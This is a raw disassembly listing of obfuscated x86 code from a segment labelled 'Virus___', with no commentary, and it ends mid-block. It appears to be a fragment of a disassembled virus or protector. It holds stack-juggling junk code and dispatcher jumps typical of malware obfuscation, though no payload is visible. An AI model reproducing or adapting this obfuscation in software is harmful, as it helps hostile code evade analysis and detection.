loc_5779FC:				; CODE XREF: Virus___:0057347Fj
		add	edx, 4
		add	edx, 4
		xchg	edx, [esp]
		mov	esp, [esp]
		jmp	loc_57729F
; ---------------------------------------------------------------------------


loc_577A10:				; CODE XREF: Virus___:00574AF4j
		mov	ecx, 4
		sub	edi, ecx
		push	dword ptr [esp]
		pop	ecx
		add	esp, 4
		push	edi
		jmp	loc_57C3CF
; ---------------------------------------------------------------------------


loc_577A24:				; CODE XREF: Virus___:0057490Ej
		add	ebx, edi
		pop	edi
		add	ebx, 4
		xchg	ebx, [esp]
		jmp	loc_57C4EE
; ---------------------------------------------------------------------------


loc_577A32:				; CODE XREF: Virus___:0057D9BAj
		push	edx
		jmp	loc_5794CD
; ---------------------------------------------------------------------------


loc_577A38:				; CODE XREF: Virus___:0057A100j
		shr	edx, 1
		cmp	eax, edx
		jz	loc_5734A5
		push	2C8Bh
		mov	[esp], edx
		push	eax
		jmp	loc_57D68B
; ---------------------------------------------------------------------------


loc_577A50:				; CODE XREF: Virus___:00574D45j
		xor	ebx, 39A00209h
		add	ebx, 55DE19ECh
		xor	ebx, 5E0C4C30h
		add	edi, ebx
		mov	ebx, [esp]
		push	ebx
		mov	ebx, esp
		add	ebx, 4
		add	ebx, 4
		xchg	ebx, [esp]
		pop	esp
		jmp	loc_57D489
; ---------------------------------------------------------------------------


loc_577A7F:				; CODE XREF: Virus___:00574106j
		sub	edx, 0A6882A1Bh
		sub	ebx, 28DB335Dh
		sub	ebx, edx
		jmp	loc_57DE1A
; ---------------------------------------------------------------------------


loc_577A92:				; CODE XREF: Virus___:005758BEj
		mov	ebx, esp
		push	ecx
		mov	ecx, 49B44EA9h
		shr	ecx, 4
		sub	ecx, 55583722h
		or	ecx, 4BDA4E7Ah
		neg	ecx
		jmp	loc_57ABD1
; ---------------------------------------------------------------------------


loc_577AB0:				; CODE XREF: Virus___:0057D882j
		add	al, bl
		pop	ebx
		sub	al, dl
		sub	al, 17h
		mov	edx, [esp]
		push	edi
		jmp	loc_57415E
; ---------------------------------------------------------------------------


loc_577AC0:				; CODE XREF: Virus___:00575CDFj
		mov	[esp], eax
		push	4B677AB5h
		jmp	loc_5763A1
; ---------------------------------------------------------------------------


loc_577ACD:				; CODE XREF: Virus___:00577622j
		add	edx, 14461052h
		sub	edx, 1A410015h
		add	edx, eax
		add	edx, 1A410015h
		jmp	loc_57CD2D
; ---------------------------------------------------------------------------


loc_577AE6:				; CODE XREF: Virus___:0057C9BAj
		pop	eax
		add	edi, 4
		xchg	edi, [esp]
		pop	esp
		push	15D0h
		mov	[esp], ebp
		push	esp
		mov	ebp, [esp]
		jmp	loc_572E90
; ---------------------------------------------------------------------------


loc_577AFF:				; CODE XREF: Virus___:00579FBBj
		add	edx, 4
		add	edx, 4
		push	edx
		jmp	loc_576683
; ---------------------------------------------------------------------------


loc_577B0E:				; CODE XREF: Virus___:00574AE6j
		mov	edi, 2
		jmp	loc_578A93
; ---------------------------------------------------------------------------


loc_577B18:				; CODE XREF: Virus___:0057B1A7j
		mov	esi, 4E3C2096h
		jmp	loc_573664
; ---------------------------------------------------------------------------


loc_577B22:				; CODE XREF: Virus___:005734E5j
		mov	esi, [esp]
		push	edi
		jmp	loc_57854B
; ---------------------------------------------------------------------------


loc_577B2B:				; CODE XREF: Virus___:0057D903j
		pop	ebx
		xchg	eax, [esp]
		pop	esp
		jmp	loc_578CD5
; ---------------------------------------------------------------------------


loc_577B35:				; CODE XREF: Virus___:0057CDF9j
		pop	ebp
		pop	esi
		inc	esi
		xor	ebp, esi
		xor	esi, ebp
		xor	ebp, esi
		xchg	ebp, edi
		dec	edi
		shr	edi, 4
		xor	edi, 72A67FF7h
		add	ebx, 0E7913B9h
		add	ebx, edi
		sub	ebx, 0E7913B9h
		mov	edi, [esp]
		jmp	loc_572F65
; ---------------------------------------------------------------------------


loc_577B60:				; CODE XREF: Virus___:00573086j
		push	6B11h
		mov	[esp], eax
		jmp	loc_576960
; ---------------------------------------------------------------------------


loc_577B6D:				; CODE XREF: Virus___:00573DF6j
		push	3D18h
		jmp	loc_57E1E5
; ---------------------------------------------------------------------------


loc_577B77:				; CODE XREF: Virus___:00573EB9j
		push	ecx
		mov	ecx, 4
		add	[esp+4], ecx
		pop	ecx
		push	dword ptr [esp]
		mov	ecx, [esp]
		add	esp, 4
		push	edx
		mov	edx, esp
		jmp	loc_578924
; ---------------------------------------------------------------------------


loc_577B96:				; CODE XREF: Virus___:00574DADj
		pop	esi
		neg	eax
		xor	eax, 73056F64h
		add	eax, 3C8B6BDCh
		jmp	loc_57D11F
; ---------------------------------------------------------------------------


loc_577BA8:				; CODE XREF: Virus___:0057D43Bj
		mov	eax, esp
		push	ecx
		push	56241483h
		pop	ecx
		shr	ecx, 6
		and	ecx, 69643AD5h
		push	edx
		jmp	loc_57A702
; ---------------------------------------------------------------------------


loc_577BC0:				; CODE XREF: Virus___:0057DA6Aj
		xor	edx, ebx
		pop	ebx
		sub	edx, 14144F82h
		jmp	loc_57C3EC
; ---------------------------------------------------------------------------


loc_577BCE:				; CODE XREF: Virus___:0057E0CCj
		xchg	edi, ebx
		not	edi
		xchg	edi, ebx
		sub	ebx, 0FFFFFFFFh
		and	ebx, 21443512h
		jmp	loc_574FB0
; ---------------------------------------------------------------------------


loc_577BE2:				; CODE XREF: Virus___:005768C7j
		mov	ebx, 2
		mov	eax, ebx
		jmp	loc_575905
; ---------------------------------------------------------------------------


loc_577BEE:				; CODE XREF: Virus___:0057A769j
		mov	ebx, esp
		add	ebx, 4
		sub	ebx, 4
		xchg	ebx, [esp]
		pop	esp
		jmp	loc_57AAFA
; ---------------------------------------------------------------------------


loc_577C02:				; CODE XREF: Virus___:00576128j
		add	edx, ebp
		pop	ebp
		xchg	edx, [esp]
		pop	esp
		sub	esp, 4
		mov	[esp], ebp
		push	esp
		pop	ebp
		add	ebp, 4
		jmp	loc_57318D
; ---------------------------------------------------------------------------


loc_577C1C:				; CODE XREF: Virus___:00573D9Bj
		mov	edx, [esp]
		add	esp, 4
		push	2E09h
		mov	[esp], esi
		push	edx
		jmp	loc_577601
; ---------------------------------------------------------------------------


loc_577C30:				; CODE XREF: Virus___:005753D3j
		neg	esi
		neg	esi
		add	esi, 0FA27E5DFh
		mov	eax, esi
		pop	esi
		add	edi, eax
		jmp	loc_5769C2
; ---------------------------------------------------------------------------


loc_577C44:				; CODE XREF: Virus___:0057B9A7j
		push	eax
		mov	eax, 59C52DDCh
		jmp	loc_5777E0
; ---------------------------------------------------------------------------


loc_577C4F:				; CODE XREF: Virus___:00574159j
		push	edx
		not	byte ptr [esp+1]
		pop	edx
		sub	dh, 0C0h
		sub	al, 0Bh
		add	al, 59h
		jmp	loc_577ED8
; ---------------------------------------------------------------------------


loc_577C61:				; CODE XREF: Virus___:00574351j
		jmp	loc_5729F6
; ---------------------------------------------------------------------------


loc_577C66:				; CODE XREF: Virus___:00579A2Dj
		push	eax
		jmp	loc_57A1C2
; ---------------------------------------------------------------------------


loc_577C6C:				; CODE XREF: Virus___:00576FB9j
		mov	ebx, 0A8E2203h
		jmp	loc_57C524
; ---------------------------------------------------------------------------


loc_577C76:				; CODE XREF: Virus___:0057DA40j
		not	edx
		jmp	loc_573217
; ---------------------------------------------------------------------------


loc_577C7D:				; CODE XREF: Virus___:0057800Cj
		sub	ecx, 32194FECh
		sub	ecx, 0CF969C14h
		sub	edx, 2BD12680h
		sub	edx, ecx
		add	edx, 2BD12680h
		jmp	loc_57C036
; ---------------------------------------------------------------------------


loc_577C9C:				; CODE XREF: Virus___:0057900Bj
		sub	ebx, edi
		jmp	loc_575347
; ---------------------------------------------------------------------------


loc_577CA3:				; CODE XREF: Virus___:005757D3j
		pop	esp
		push	ebx
		jmp	loc_574900
; ---------------------------------------------------------------------------


loc_577CAA:				; CODE XREF: Virus___:00574817j
		mov	[esp], edi
		push	ebp
		jmp	loc_574236
; ---------------------------------------------------------------------------


loc_577CB3:				; CODE XREF: Virus___:00576E8Aj
		mov	edi, 4
		add	edx, edi
		jmp	loc_57773B
; ---------------------------------------------------------------------------


loc_577CBF:				; CODE XREF: Virus___:00578347j
		add	ebx, 28D16A66h
		jmp	loc_575913
; ---------------------------------------------------------------------------


loc_577CCA:				; CODE XREF: Virus___:00578582j
		add	esi, ecx
		pop	ecx
		sub	esi, 63421A16h
		xor	esi, 35B99D3Fh
		mov	edi, esi
		pop	esi
		add	edx, edi
		push	dword ptr [esp]
		mov	edi, [esp]
		jmp	loc_57CCB7
; ---------------------------------------------------------------------------


loc_577CE9:				; CODE XREF: Virus___:0057A6CAj
		pop	dword ptr [esp]
		mov	esp, [esp]
		imul	cx, ax
		push	cx
		pushf
		jmp	loc_5729F6
; ---------------------------------------------------------------------------


loc_577CFB:				; CODE XREF: Virus___:0057E1E0j
		mov	edi, esp
		add	edi, 4
		sub	edi, 4
		xchg	edi, [esp]
		jmp	loc_5747D8
; ---------------------------------------------------------------------------


loc_577D0E:				; CODE XREF: Virus___:0057447Dj
		movzx	eax, al
		mov	dx, [esp]
		jmp	loc_577456
; ---------------------------------------------------------------------------


loc_577D1A:				; CODE XREF: Virus___:0057E061j
		sub	esp, 4
		mov	[esp], eax
		push	dword ptr [esp+4]
		jmp	loc_577996
; ---------------------------------------------------------------------------


loc_577D2C:				; CODE XREF: Virus___:0057EAD0j
		sub	[edi+24h], ebx
		pop	ebx


loc_577D30:				; CODE XREF: Virus___:00573F7Dj
		push	5FFEh
		mov	[esp], ecx
		mov	ecx, ebx
		sub	esp, 4
		jmp	loc_579E69
; ---------------------------------------------------------------------------


loc_577D45:				; CODE XREF: Virus___:0057413Ej
		add	eax, 4
		add	eax, 4
		xor	eax, [esp]
		xor	[esp], eax
		xor	eax, [esp]
		mov	esp, [esp]
		xor	bl, al
		movzx	eax, al
		mov	dx, [esp]
		push	edi
		mov	edi, esp
		push	esi
		mov	esi, 4
		jmp	loc_57E725
; ---------------------------------------------------------------------------


loc_577D70:				; CODE XREF: Virus___:00576FC8j
		mov	[esp], esi
		jmp	loc_574F56
; ---------------------------------------------------------------------------


loc_577D78:				; CODE XREF: Virus___:0057E375j
		push	1CCh
		mov	[esp], esi
		jmp	loc_575FA0
; ---------------------------------------------------------------------------


loc_577D85:				; CODE XREF: Virus___:00575CA4j
		push	64D4h
		mov	[esp], edx
		push	eax
		pushf
		jmp	loc_5729F6
; ---------------------------------------------------------------------------


loc_577D94:				; CODE XREF: Virus___:0057BDD1j
		sub	esi, 77CE448Eh
		sub	esi, eax
		add	esi, 77CE448Eh
		sub	esi, 26745CFEh
		push	dword ptr [esp]
		jmp	loc_574B3F
; ---------------------------------------------------------------------------


loc_577DB0:				; CODE XREF: Virus___:0057CDBDj
		pop	ebx
		xchg	esi, [esp]
		jmp	loc_579B5C
; ---------------------------------------------------------------------------


loc_577DB9:				; CODE XREF: Virus___:0057D422j
		pop	esp
		push	dword ptr [esp]
		mov	ecx, [esp]
		add	esp, 4
		push	3F9Eh
		jmp	loc_57EE66
; ---------------------------------------------------------------------------


loc_577DCD:				; CODE XREF: Virus___:0057A819j
		add	eax, ebx
		push	0A0Eh
		mov	[esp], esi
		jmp	loc_576CE4
; ---------------------------------------------------------------------------


loc_577DDC:				; CODE XREF: Virus___:0057C36Ej
		mov	esi, esp
		jmp	loc_572D5D
; ---------------------------------------------------------------------------


loc_577DE3:				; CODE XREF: Virus___:0057352Ej
		mov	ax, [esp]
		push	4433h
		jmp	loc_577E0A
; ---------------------------------------------------------------------------


loc_577DF1:				; CODE XREF: Virus___:0057C7F4j
		mov	[esp], edi
		mov	edi, 4ED02E92h
		add	edi, 1
		or	edi, 21566118h
		jmp	loc_57D4CB
; ---------------------------------------------------------------------------


loc_577E0A:				; CODE XREF: Virus___:00577DECj
		mov	[esp], esi
		mov	esi, esp
		push	ecx
		jmp	loc_57B7E8
; ---------------------------------------------------------------------------


loc_577E15:				; CODE XREF: Virus___:0057884Bj
		mov	[esp], ebp
		push	esi
		mov	esi, 2EF6047Ah
		push	edx
		mov	edx, 6CB6726Ch
		mov	ebp, 42407612h
		xor	ebp, edx
		pop	edx
		xor	ebp, esi
		mov	esi, [esp]
		jmp	loc_576E8F
; ---------------------------------------------------------------------------


loc_577E36:				; CODE XREF: Virus___:0057627Aj
		or	eax, eax
		jnz	loc_57BC7E
		push	edi
		push	1
		mov	edi, [esp]
		push	ebp
		jmp	loc_57DE07
; ---------------------------------------------------------------------------


loc_577E4D:				; CODE XREF: Virus___:0057A2FEj
		sub	ebp, 9172F0Ah
		jmp	loc_5762DA
; ---------------------------------------------------------------------------


loc_577E58:				; CODE XREF: Virus___:0057BEBAj
		add	esi, edi
		pop	edi
		jmp	loc_57A1D3
; ---------------------------------------------------------------------------


loc_577E60:				; CODE XREF: Virus___:00578692j
		mov	dl, 0C9h
		sub	dl, bl
		jmp	loc_57C6B5
; ---------------------------------------------------------------------------


loc_577E69:				; CODE XREF: Virus___:0057C978j
		pop	edx
		add	edx, 4
		push	2F78h
		mov	[esp], ebx
		mov	ebx, 4
		add	edx, ebx
		mov	ebx, [esp]
		add	esp, 4
		jmp	loc_57C359
; ---------------------------------------------------------------------------


loc_577E8A:				; CODE XREF: Virus___:00578A07j
		pop	eax
		push	ebp
		mov	ebp, 0FF4275Bh
		add	ebp, 3C8A618Ah
		jmp	loc_57C541
; ---------------------------------------------------------------------------


loc_577E9C:				; CODE XREF: Virus___:00577F27j
		add	ecx, edi
		jmp	loc_575C82
; ---------------------------------------------------------------------------


loc_577EA3:				; CODE XREF: Virus___:0057899Dj
		push	eax
		mov	eax, 2B509E6h
		jmp	loc_57C7F9
; ---------------------------------------------------------------------------


loc_577EAE:				; CODE XREF: Virus___:005799B5j
		push	dword ptr [esp+4]
		mov	ecx, [esp]
		add	esp, 4
		pop	dword ptr [esp]
		jmp	loc_57A972
; ---------------------------------------------------------------------------


loc_577EC0:				; CODE XREF: Virus___:00577569j
		mov	edi, 1DF2439Dh
		push	ebx
		jmp	loc_575406
; ---------------------------------------------------------------------------


loc_577ECB:				; CODE XREF: Virus___:00578B3Dj
		xor	[esp+4], ebp
		mov	ebp, [esp]
		push	ebp
		jmp	loc_57CC98
; ---------------------------------------------------------------------------


loc_577ED8:				; CODE XREF: Virus___:00577C5Cj
		sub	al, dh
		sub	al, 59h
		add	al, 0Bh
		jmp	loc_573BAA
; ---------------------------------------------------------------------------


loc_577EE3:				; CODE XREF: Virus___:0057C9C4j
		shr	ebp, 1
		inc	ebp
		jmp	loc_57641C
; ---------------------------------------------------------------------------


loc_577EEB:				; CODE XREF: Virus___:0057B2ECj
		mov	esi, 1BA5566Bh
		mov	ebx, 9443A2F9h
		sub	ebx, esi
		pop	esi
		xor	ebx, ebp
		pop	ebp
		and	eax, ebx
		push	dword ptr [esp]
		push	dword ptr [esp]
		pop	ebx
		add	esp, 4
		push	edx
		jmp	loc_57C9D2
; ---------------------------------------------------------------------------


loc_577F0D:				; CODE XREF: Virus___:00577549j
		mov	ebp, ecx
		mov	edx, ebp
		push	dword ptr [esp]
		jmp	loc_57EF14
; ---------------------------------------------------------------------------


loc_577F19:				; CODE XREF: Virus___:0057C075j
		mov	[esp], edi
		jmp	loc_579FFF
; ---------------------------------------------------------------------------


loc_577F21:				; CODE XREF: Virus___:00575753j
		push	edi
		mov	edi, 4
		jmp	loc_577E9C
; ---------------------------------------------------------------------------


loc_577F2C:				; CODE XREF: Virus___:00576C12j
		sub	ebx, esi
		pop	esi
		push	171Bh
		mov	[esp], ebx
		pop	dword ptr [edx+30h]
		mov	ebx, [esp]
		add	esp, 4
		popa
		popf
		retn
; ---------------------------------------------------------------------------
		jmp	loc_5729F6
; ---------------------------------------------------------------------------


loc_577F48:				; CODE XREF: Virus___:00573BF9j
		add	cl, dl
		jmp	loc_575782
; ---------------------------------------------------------------------------


loc_577F4F:				; CODE XREF: Virus___:00574CDFj
		add	eax, 0DC1DFF23h
		add	ecx, eax
		mov	eax, [esp]
		add	esp, 4
		jmp	loc_5799D0
; ---------------------------------------------------------------------------


loc_577F64:				; CODE XREF: Virus___:0057697Aj
		mov	ch, 6Bh
		add	ch, dl
		pop	edx
		shl	ch, 8
		sub	ch, 0BDh
		push	ebx
		mov	bh, 1
		inc	bh
		jmp	loc_57B541
; ---------------------------------------------------------------------------


loc_577F79:				; CODE XREF: Virus___:0057A7E9j
		mov	edx, 223F4172h
		xor	edx, 3BE03040h
		add	edx, 1562126Fh
		push	0
		jmp	loc_57806A
; ---------------------------------------------------------------------------


loc_577F94:				; CODE XREF: Virus___:0057A8FDj
		mov	edx, [esp]
		add	esp, 4
		mov	bh, ch
		mov	ecx, [esp]
		add	esp, 4
		jmp	loc_575EA4
; ---------------------------------------------------------------------------
		push	dword ptr [edi+1Ch]
		popf
		pop	cx
		rcl	dword ptr [esp], cl
		pushf
		jmp	loc_5729F6
; ---------------------------------------------------------------------------


loc_577FBC:				; CODE XREF: Virus___:0057CF42j
		push	ebx
		mov	ebx, esp
		add	ebx, 4
		add	ebx, 4
		jmp	loc_5745DF
; ---------------------------------------------------------------------------


loc_577FCD:				; CODE XREF: Virus___:00578E52j
		mov	ecx, 67E49D6h
		jmp	loc_57AC27
; ---------------------------------------------------------------------------


loc_577FD7:				; CODE XREF: Virus___:0057A8A2j
		mov	[esp], edi
		mov	edi, esp
		jmp	loc_574C01
; ---------------------------------------------------------------------------
		push	dword ptr [esp]
		mov	eax, [esp]
		add	esp, 4
		push	3E80h
		mov	[esp], ebx
		push	esp
		mov	ebx, [esp]
		jmp	loc_573543
; ---------------------------------------------------------------------------


loc_577FFB:				; CODE XREF: Virus___:00576A15j
		mov	ecx, 63C82FD9h
		shr	ecx, 1
		dec	ecx
		xor	ecx, 23457402h
		shr	ecx, 3
		jmp	loc_577C7D
; ---------------------------------------------------------------------------


loc_578011:				; CODE XREF: Virus___:0057EB86j
		xor	bp, 4FFEh
		pop	ecx
		xor	ax, bp
		jmp	loc_57E0D1
; ---------------------------------------------------------------------------


loc_57801F:				; CODE XREF: Virus___:005769BDj
		pop	esp
		pop	dword ptr [esp]
		pop	esp
		mov	ax, [esp]
		push	edi
		mov	edi, esp
		add	edi, 4
		sub	edi, 4
		push	edi
		jmp	loc_57409C
; ---------------------------------------------------------------------------


loc_57803D:				; CODE XREF: Virus___:00575517j
		mov	ebx, 4
		add	esi, ebx
		pop	ebx
		xor	esi, [esp]
		xor	[esp], esi
		xor	esi, [esp]
		jmp	loc_578DF1
; ---------------------------------------------------------------------------


loc_578053:				; CODE XREF: Virus___:00576295j
		mov	dl, 5Fh
		sub	dl, 0B7h
		and	dl, 8Ah
		push	13A9h
		mov	[esp], ebx
		mov	bh, 0B9h
		jmp	loc_57544B
; ---------------------------------------------------------------------------


loc_57806A:				; CODE XREF: Virus___:00577F8Fj
		sub	[esp], edx
		pop	edx
		inc	edx
		push	eax
		mov	eax, 51C249AFh
		or	edx, eax
		pop	eax
		xor	edx, 0D1FE7DEBh
		add	ebp, edx
		pop	edx
		add	ebp, 4
		xchg	ebp, [esp]
		jmp	loc_57CD5E
; ---------------------------------------------------------------------------


loc_57808C:				; CODE XREF: Virus___:0057A5CAj
		xor	[esp], ebp
		xor	ebp, [esp]
		pop	esp
		jmp	loc_57AC02
; ---------------------------------------------------------------------------


loc_578098:				; CODE XREF: Virus___:0057D7ACj
		add	eax, 1F3709B6h
		jmp	loc_57E1AC
; ---------------------------------------------------------------------------


loc_5780A2:				; CODE XREF: Virus___:005752FBj
		push	dword ptr [esp]
		mov	ebx, [esp]
		push	esi
		mov	esi, esp
		add	esi, 4
		add	esi, 4
		xchg	esi, [esp]
		pop	esp
		push	ecx
		jmp	loc_5788E9
; ---------------------------------------------------------------------------


loc_5780C1:				; CODE XREF: Virus___:0057CB8Bj
		add	esi, 0E093E02Ch
		jmp	loc_57CA25
; ---------------------------------------------------------------------------


loc_5780CC:				; CODE XREF: Virus___:00575E09j
		push	ebx
		mov	ebx, 4
		add	ebp, ebx
		pop	ebx
		sub	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		mov	[esp], ecx
		push	ebx
		mov	ebx, 383103B0h
		inc	ebx
		not	ebx
		jmp	loc_5776B0
; ---------------------------------------------------------------------------


loc_5780F0:				; CODE XREF: Virus___:00577757j
		push	ebp
		jmp	loc_572CA9
; ---------------------------------------------------------------------------


loc_5780F6:				; CODE XREF: Virus___:0057A9AFj
		sub	eax, 4
		xchg	eax, [esp]
		pop	esp
		mov	[esp], ecx
		mov	ecx, esp
		push	ebx
		mov	ebx, 1BE6250Fh
		push	ecx
		push	1A6322AFh
		pop	ecx
		push	ebx
		mov	ebx, 44CA42D1h
		xor	ecx, ebx
		pop	ebx
		sub	ebx, 2F267483h
		add	ebx, ecx
		add	ebx, 2F267483h
		pop	ecx
		shl	ebx, 4
		and	ebx, 78E327F5h
		add	ebx, 0D71FFF34h
		add	ecx, ebx
		pop	ebx
		sub	ecx, 4
		xchg	ecx, [esp]
		mov	esp, [esp]
		jmp	loc_57366B
; ---------------------------------------------------------------------------


loc_57814A:				; CODE XREF: Virus___:0057E6B9j
		mov	edx, 31434A4Bh
		add	edx, 0F2F9B5FEh
		xor	ebp, edx
		pop	edx
		and	ebp, 65453F9h
		jmp	loc_5758ED
; ---------------------------------------------------------------------------


loc_578163:				; CODE XREF: Virus___:00579ADAj
		pop	ebp
		pop	dword ptr [esp]
		pop	esp
		bts	[esp], ax
		pushf
		jmp	loc_5729F6
; ---------------------------------------------------------------------------


loc_578173:				; CODE XREF: Virus___:0057DC32j
		sub	ebx, 0F6C6C08Ah
		sub	edi, ebx
		pop	ebx
		xor	edi, 7F5B5B80h
		shr	edi, 2
		push	esi
		jmp	loc_5739F7
; ---------------------------------------------------------------------------


loc_57818B:				; CODE XREF: Virus___:005747CCj
		not	edi
		sub	edi, 43B0939h
		push	ebx
		mov	ebx, 311D1577h
		and	edi, ebx
		pop	ebx
		dec	edi
		sub	edi, 3110102Ch
		add	esi, edi
		mov	edi, [esp]
		jmp	loc_573B73
; ---------------------------------------------------------------------------


loc_5781AD:				; CODE XREF: Virus___:00576572j
		push	esi
		mov	esi, esp
		add	esi, 4
		add	esi, 4
		jmp	loc_573175
; ---------------------------------------------------------------------------


loc_5781C1:				; CODE XREF: Virus___:0057C8FEj
		jmp	loc_5729F6
; ---------------------------------------------------------------------------


loc_5781C6:				; CODE XREF: Virus___:00578215j
		push	edx
		jmp	loc_57843B
; ---------------------------------------------------------------------------


loc_5781CC:				; CODE XREF: Virus___:0057CA04j
		pop	esi
		shl	edi, 8
		push	edx
		mov	edx, 1B3834BCh
		inc	edx
		shl	edx, 7
		push	eax
		mov	eax, 6D9D5B13h
		jmp	loc_57EB56
; ---------------------------------------------------------------------------


loc_5781E5:				; CODE XREF: Virus___:00573CCDj
		add	ebp, 0E847CC14h
		and	ecx, ebp
		pop	ebp
		shr	ecx, 7
		push	dword ptr [edi+1Ch]
		push	dword ptr [esp]
		pop	eax
		push	ecx
		sub	esp, 4
		push	esp
		pop	dword ptr [esp]
		add	dword ptr [esp], 4
		jmp	loc_57847B
; ---------------------------------------------------------------------------


loc_57820C:				; CODE XREF: Virus___:00579464j
		mov	eax, [esp]
		add	esp, 4
		jmp	loc_5781C6
; ---------------------------------------------------------------------------


loc_57821A:				; CODE XREF: Virus___:00576D16j
		not	ebp
		and	ebp, 345D5F78h
		dec	ebp
		not	ebp
		push	edi
		mov	edi, 1
		sub	ebp, edi
		pop	edi
		push	ecx
		mov	ecx, 7F993978h
		not	ecx
		add	ecx, 3CD66B7h
		add	ecx, 57AFB7AFh
		add	ebp, 38806D8Fh
		jmp	loc_579BA1
; ---------------------------------------------------------------------------


loc_57824D:				; CODE XREF: Virus___:005738D4j
		pop	ebx
		jmp	loc_579237
; ---------------------------------------------------------------------------


loc_578253:				; CODE XREF: Virus___:0057E41Ej
		shl	ecx, 4
		sub	ecx, 0F83BBACCh
		add	edx, ecx
		pop	ecx
		push	edi
		mov	edi, 4
		add	edx, edi
		jmp	loc_576922
; ---------------------------------------------------------------------------


loc_57826C:				; CODE XREF: Virus___:00574F61j
		mov	esi, 23D63241h
		sub	ebp, esi
		jmp	loc_57A653
; ---------------------------------------------------------------------------


loc_578278:				; CODE XREF: Virus___:00579BD5j
		push	esp
		mov	eax, [esp]
		add	esp, 4
		jmp	loc_57CB52
; ---------------------------------------------------------------------------


loc_578287:				; CODE XREF: Virus___:00575A67j
		push	ebp
		mov	ebp, esp
		jmp	loc_577427
; ---------------------------------------------------------------------------


loc_57828F:				; CODE XREF: Virus___:00578D54j
		mov	[esp], eax
		jmp	loc_5732CA
; ---------------------------------------------------------------------------


loc_578297:				; CODE XREF: Virus___:0057B4B0j
		pop	ebx
		sub	ebp, ecx
		pop	ecx
		push	esi
		mov	esi, esp
		add	esi, 4
		sub	esi, 4
		xchg	esi, [esp]
		pop	esp
		mov	[esp], ebp
		push	dword ptr [esp+4]
		pop	ebp
		pop	dword ptr [esp]
		pop	esp
		mov	[esp], eax
		jmp	loc_5729F6
; ---------------------------------------------------------------------------
		mov	edx, [esp]
		sub	esp, 4
		mov	[esp], ebp
		jmp	loc_57324B
; ---------------------------------------------------------------------------


loc_5782CD:				; CODE XREF: Virus___:0057E82Cj
		xchg	esi, [esp]
		pop	esp
		mov	[esp], edx
		mov	edx, esp
		push	ebp
		mov	ebp, 545108F1h
		neg	ebp
		inc	ebp
		xor	ebp, ecx
		xor	ecx, ebp
		xor	ebp, ecx
		jmp	loc_57931F
; ---------------------------------------------------------------------------


loc_5782EA:				; CODE XREF: Virus___:0057CA55j
		add	edx, esi
		pop	esi
		mov	esi, [esp]
		add	esp, 4
		sub	eax, edx
		push	dword ptr [esp]
		jmp	loc_57A96C
; ---------------------------------------------------------------------------


loc_578300:				; CODE XREF: Virus___:00579600j
		mov	ebx, [esp]
		add	esp, 4
		jmp	loc_57A868
; ---------------------------------------------------------------------------


loc_57830B:				; CODE XREF: Virus___:00573773j
		pop	bx
		push	ecx
		mov	ch, 8Bh
		shl	ch, 2
		add	ch, 2Dh
		xor	ch, 86h
		shl	ch, 3
		shr	ch, 8
		sub	esp, 4
		mov	[esp], ebx
		push	edx
		mov	dh, 0F9h
		jmp	loc_579300
; ---------------------------------------------------------------------------
		mov	ax, [esp]
		push	3022h
		mov	[esp], edi
		jmp	loc_57CD14
; ---------------------------------------------------------------------------


loc_57833E:				; CODE XREF: Virus___:0057D414j
		push	ebx
		mov	ebx, 0D35ED897h
		xor	eax, ebx
		pop	ebx
		jmp	loc_577CBF
; ---------------------------------------------------------------------------


loc_57834C:				; CODE XREF: Virus___:0057E272j
		add	ebx, esi
		pop	esi
		add	edx, 79195815h
		sub	edx, 55BC61F0h
		add	edx, ebx
		add	edx, 55BC61F0h
		sub	edx, 79195815h
		pop	ebx
		xchg	edx, [esp]
		mov	esp, [esp]
		shl	word ptr [esp],	cl
		pushf
		jmp	loc_5729F6
; ---------------------------------------------------------------------------
		lodsb
		xor	al, bl
		push	ecx
		jmp	loc_573075
; ---------------------------------------------------------------------------


loc_578383:				; CODE XREF: Virus___:0057E03Ej
		push	735Ah
		mov	[esp], ecx
		push	1852h
		push	esp
		pop	dword ptr [esp]
		jmp	loc_573533
; ---------------------------------------------------------------------------


loc_578399:				; CODE XREF: Virus___:0057E43Dj
		pop	eax
		push	esi
		mov	esi, esp
		add	esi, 4
		add	esi, 4
		xor	esi, [esp]
		xor	[esp], esi
		xor	esi, [esp]
		jmp	loc_572E02
; ---------------------------------------------------------------------------


loc_5783B7:				; CODE XREF: Virus___:00573025j
		sub	eax, 0C452E2Ah
		add	eax, edi
		push	47FBh
		mov	[esp], ebp
		mov	ebp, 54D14B4h
		jmp	loc_57DCC2
; ---------------------------------------------------------------------------


loc_5783D0:				; CODE XREF: Virus___:0057667Ej
		sub	ecx, 4CD671F5h
		neg	ecx
		push	eax
		mov	eax, 1A2B3FCEh
		xor	eax, 0DA4D9DF4h
		add	ecx, eax
		pop	eax
		jmp	loc_5770AF
; ---------------------------------------------------------------------------


loc_5783EB:				; CODE XREF: Virus___:00572CA4j
		add	esi, 4
		push	edx
		mov	edx, 3145DA9h
		shl	edx, 5
		add	edx, 0FFFFFFFFh
		sub	edx, 2718328Dh
		push	55D6h
		mov	[esp], eax
		mov	eax, 3B738290h
		sub	edx, eax
		pop	eax
		add	esi, 37D77DA8h
		jmp	loc_57CB7A
; ---------------------------------------------------------------------------


loc_57841E:				; CODE XREF: Virus___:00574BB3j
		xchg	ebp, [esp]
		pop	esp
		jmp	loc_57D09F
; ---------------------------------------------------------------------------


loc_578427:				; CODE XREF: Virus___:0057892Dj
		xchg	edx, [esp]
		pop	esp
		jmp	loc_57CFAF
; ---------------------------------------------------------------------------


loc_578430:				; CODE XREF: Virus___:0057ADDEj
		sub	esp, 4
		mov	[esp], esp
		jmp	loc_57E62C
; ---------------------------------------------------------------------------


loc_57843B:				; CODE XREF: Virus___:005781C7j
		push	edi
		mov	edi, 4B677AB5h
		jmp	loc_578BEC
; ---------------------------------------------------------------------------


loc_578446:				; CODE XREF: Virus___:0057BFDCj
		mov	esi, [esp]
		add	esp, 4
		sub	esi, 4C260949h
		jmp	loc_5779B8
; ---------------------------------------------------------------------------


loc_578457:				; CODE XREF: Virus___:005754BFj
		push	edi
		mov	edi, 4
		add	ebx, edi
		pop	edi
		push	65A3h
		mov	[esp], edi
		jmp	loc_5733CC
; ---------------------------------------------------------------------------


loc_57846D:				; CODE XREF: Virus___:005795E9j
		mov	bh, ch
		mov	dl, bh
		pop	ebx
		pop	ecx
		pop	ebx
		xor	al, dl
		jmp	loc_579EF7
; ---------------------------------------------------------------------------


loc_57847B:				; CODE XREF: Virus___:00578207j
		mov	ecx, [esp]
		add	esp, 4
		push	eax
